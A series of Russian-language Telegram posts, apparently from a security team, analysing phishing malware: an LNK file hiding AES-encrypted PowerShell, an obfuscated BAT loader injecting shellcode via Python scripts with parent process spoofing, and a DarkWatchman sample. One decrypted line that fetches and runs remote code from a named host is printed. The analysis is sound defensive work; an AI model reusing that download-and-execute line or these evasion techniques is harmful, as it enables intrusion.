Основным вектором атаки в них выступает фишинговая рассылка. Файлы, приложенные к письму, обычно упакованы в ZIP-архив, иногда архив защищен паролем для обхода СЗИ (пароль указывается в тексте сообщения).
Материал большой, поэтому мы разделили его на две части по сценариям. Полное исследование можно прочитать в нашей статье на Хабре.
В качестве промежуточного звена для загрузки основного вредоносного модуля могут применяться файлы MS-SHLLINK. Выполнение запускается через CMD или PowerShell, но возможны и другие методы. Часто применяются способы сокрытия команд — кодирование, обфускация или шифрование, что затрудняет детектирование средствами защиты информации.
Для просмотра содержимого можно использовать hex-редактор, команды
xxd или cat в Unix-подобных системах. Некоторые hex-редакторы отображают не сам LNK-файл, а содержимое файла, на который он ссылается, — будьте внимательны.На рисунке 1 представлен фрагмент содержимого вредоносного LNK-файла, открытый при помощи hex-редактора. На рисунке 2 — фрагмент содержимого вредоносного LNK-файла, открытый при помощи утилиты
cat. Скопируем сценарий и приведем его в более удобный для чтения вид.Сценарию передаются два аргумента —
a и b в base64, где a — зашифрованный сценарий, b — ключ (рисунок 3). Также создается объект System.Security.Cryptography.AesManaged для работы с AES. Аргументы записываются в переменные $a и $b.Для дешифровки используем PowerShell, немного изменив команды и исключив
Invoke-Expression $h, чтобы избежать выполнения основного сценария.На рисунке 4 представлен расшифрованный вредоносный сценарий:
$script = Invoke-WebRequest -Uri 'https://emptyservices[.]xyz/public/904e5c82a258472395094ca10082fdfb.txt' -UseBasicParsing.
Invoke-Expression $script.Content считывает содержимое файла с удаленного ресурса и выполняет его.Дополнительную нагрузку можно получить для анализа, либо заменив
Invoke-Expression $script.Content на echo $script.Content в PowerShell, либо использовав curl, либо скачав из браузера (но на момент исследования вредоносная нагрузка, к сожалению, была недоступна).Также отметим, что переменная
$KEYIV (рисунок 3), скорее всего, является ключом для расшифровки сценария в указанном файле.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3🔥2👍1
В первой части мы рассмотрели, как в качестве промежуточного звена для загрузки основного вредоносного модуля могут применяться файлы MS-SHLLINK. Теперь рассмотрим сценарий, в котором загрузчиком выступает BAT-файл с обфускацией.
Рассмотрим сценарий доставки и исполнения основных вредоносных модулей.
Загрузчиком выступает командный BAT-файл. Злоумышленники не применяют сложную обфускацию, а меняют кодировку текста. Если мы попытаемся просмотреть содержимое с помощью стандартных средств, например через Notepad, то едва ли сможем что-либо прочитать (рисунок 5).
Чтобы получить читаемые данные, воспользуемся ресурсом CyberChef и плагином Text_Encoding_Brute_Force (рисунок 6). Скопируем полученную информацию в текстовый редактор и приведем код в читаемый вид.
1) попытка открыть любой PDF-файл в
%USERPROFILE%\Downloads (предположительно, для отвлечения);2) поиск процессов антивирусов;
3) загрузка файлов из интернета;
4) разархивация и перемещение;
5) запуск Python-скриптов;
6) загрузка дополнительных модулей;
7) размещение в автозапуске;
8) повторная загрузка и разархивация файлов.
Содержимое файла
startuppp.bat (рисунок 8), добавленного в автозапуск, также закодировано. На рисунке 9 — команды в файле после преобразования.Из команд в
startuppp.bat видно, что файл отвечает за запуск последних загруженных и разархивированных Python-скриптов. На момент исследования все файлы доступны и их можно скачать, например, через браузер.Рассмотрим содержимое архива
FTSP.zip (рисунок 10). Следует обратить внимание на файлы: fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py. При открытии любого из них видно, что это скомпилированные Python-файлы. Фрагмент содержимого yam1.py показан на рисунке 11.Воспользуемся ресурсом для декомпиляции PyLingual. Для примера возьмем файл
yam1.py, предварительно изменив расширение на .pyc (рисунок 12).Если внимательно изучить код на рисунке 12, можно увидеть
class Kramer. После анализа кода становится ясно, что к файлу применена обфускация с помощью приложения Kramer.Воспользуемся деобфускатором kramer-specter_deobf. После деобфускации получаем код на рисунке 13. Из кода видно, что скрипт расшифровывает шеллкод, записывает его в память и запускает. Алгоритм одинаков для всех файлов. Расшифрованный шеллкод можно получить способом, показанным на рисунке 14, и проанализировать в дизассемблере или отладчике.
При динамическом анализе становится ясно, что все указанные вредоносные файлы работают одинаково. После запуска, в зависимости от условий (рисунок 9), каждый модуль запускает
notepad.exe и внедряет в него код. В результате получаем шесть процессов notepad.exe с разными PID. Особенность заключается в применении техники parent process spoofing, из-за чего родительским процессом кажется Explorer.exe, что усложняет детектирование.К такому выводу приводит проведенный анализ. Мы разобрали два сценария: в одном использован LNK-файл, в другом — BAT-файл. В обоих случаях злоумышленники применяют техники сокрытия вредоносного кода для обхода автоматизированных СЗИ. И этого может быть достаточно для успешных атак. Детальный ручной анализ помогает выявить тактики и техники злоумышленников, получить дополнительные индикаторы компрометации — и построить надежную защиту.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👏2🔥1
Продолжаем делиться нашими исследованиями: сегодня рассказываем об атаке, основанной на фишинговой рассылке вредоносного программного обеспечения DarkWatchman (Buhtrap).
Часть первая
На рисунке 1 — фрагмент фишингового письма. В первую очередь определим почтовый сервер отправителя и соотнесем его с электронным адресом на предмет подмены (spoofing). Для этого просмотрим заголовок электронного письма — с помощью стандартных средств Outlook («Файл» → «Свойства») или специализированных программ.
Видим, что рассылка идет с сервера ponyexpress.website и соответствует электронному адресу отправителя; IP-адрес — 195.19.93.148 (рисунок 2). Далее можно получить информацию об этом IP-адресе, например с помощью AbuseIPDB (рисунок 3).
Вложение в электронном письме — это ZIP-архив, содержащий ВПО. Исследуемый образец DarkWatchman — это SFX-архив с инсталляционным скриптом и основным модулем на JavaScript. В ресурсах добавлена иконка PDF-файла, по умолчанию включено «Скрывать расширение для зарегистрированных типов файлов» — это позволяет обмануть пользователя.
Посмотреть ресурсы исполняемого файла можно при помощи программы ProcessHacker (рисунок 4), получить сведения о файле (о компиляторе, языке программирования, используемом для написания ПО, и других параметрах) — при помощи Detect It Easy, PE-bear и пр. (рисунок 5).
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍2⚡1
